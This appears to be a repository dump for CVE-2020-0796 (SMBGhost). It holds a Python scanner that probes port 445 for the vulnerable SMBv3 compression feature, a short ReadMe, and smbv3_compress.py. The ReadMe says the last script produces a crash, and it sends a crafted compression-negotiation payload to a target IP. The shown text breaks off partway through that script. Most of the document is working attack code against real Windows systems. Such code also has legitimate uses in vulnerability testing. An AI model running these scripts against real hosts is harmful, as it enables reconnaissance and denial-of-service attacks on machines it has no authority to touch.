├── CVE2020-0796 ├── CVE-2020-0796_Scan_Vul.py ├── ReadMe.md └── smbv3_compress.py └── README.md /CVE2020-0796/CVE-2020-0796_Scan_Vul.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import sys 4 | 5 | pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' 6 | sock = socket.socket(socket.AF_INET) 7 | sock.settimeout(3) 8 | sock.connect(( sys.argv[1], 445 )) 9 | sock.send(pkt) 10 | 11 | nb, = struct.unpack(">I", sock.recv(4)) 12 | res = sock.recv(nb) 13 | 14 | if not res[68:70] == b"\x11\x03": 15 | exit("Not vulnerable.") 16 | if not res[70:72] == b"\x02\x00": 17 | exit("Not vulnerable.") 18 | 19 | exit("Vulnerable.") 20 | 21 | # Credit: ollypwn 22 | -------------------------------------------------------------------------------- /CVE2020-0796/ReadMe.md: -------------------------------------------------------------------------------- 1 | Use: 2 | python3 CVE-2020-0796_Scan_Vul.py 3 | vul or not vul 4 | python3 smbv3_compress.py 5 | crash 6 | -------------------------------------------------------------------------------- /CVE2020-0796/smbv3_compress.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import socket 3 | import sys 4 | 5 | if len(sys.argv) != 2: 6 | print("Usage: %s IP" % (sys.argv[0])) 7 | exit() 8 | 9 | 10 | smb_payload ="000000b2fe534d4240000100000000000000210010000000000000000000000000000000fffe00000000000000000000000000000000000000000000000000000000000024000500010000007f000000aa9952d87063ea118a76005056b886b0700000000200000002021002000302031103000001002600000000000100200001006c6110bcde71a04e50810ffac0769c32c4c011cf86e26deb2ba923cd79cbbf7c0000" 11 | # Adding comperssion negotiation context 12 | smb_payload += "0300" + \ 13 | "0a00" +\ 14 | "00000000" + \ 15 | "0100" + \ 16 | "0000" + \ 17 | "00000000" + \ 18 | "0100" # Compression type 19 | 20 | s = socket.socket(2,1) 21 | s.connect((sys.argv[1],445)) 22 | s.send(bytes.fromhex(smb_payload)) 23 | buff_res = s.recv(4096) 24 | 25 | smb_version = struct.unpack("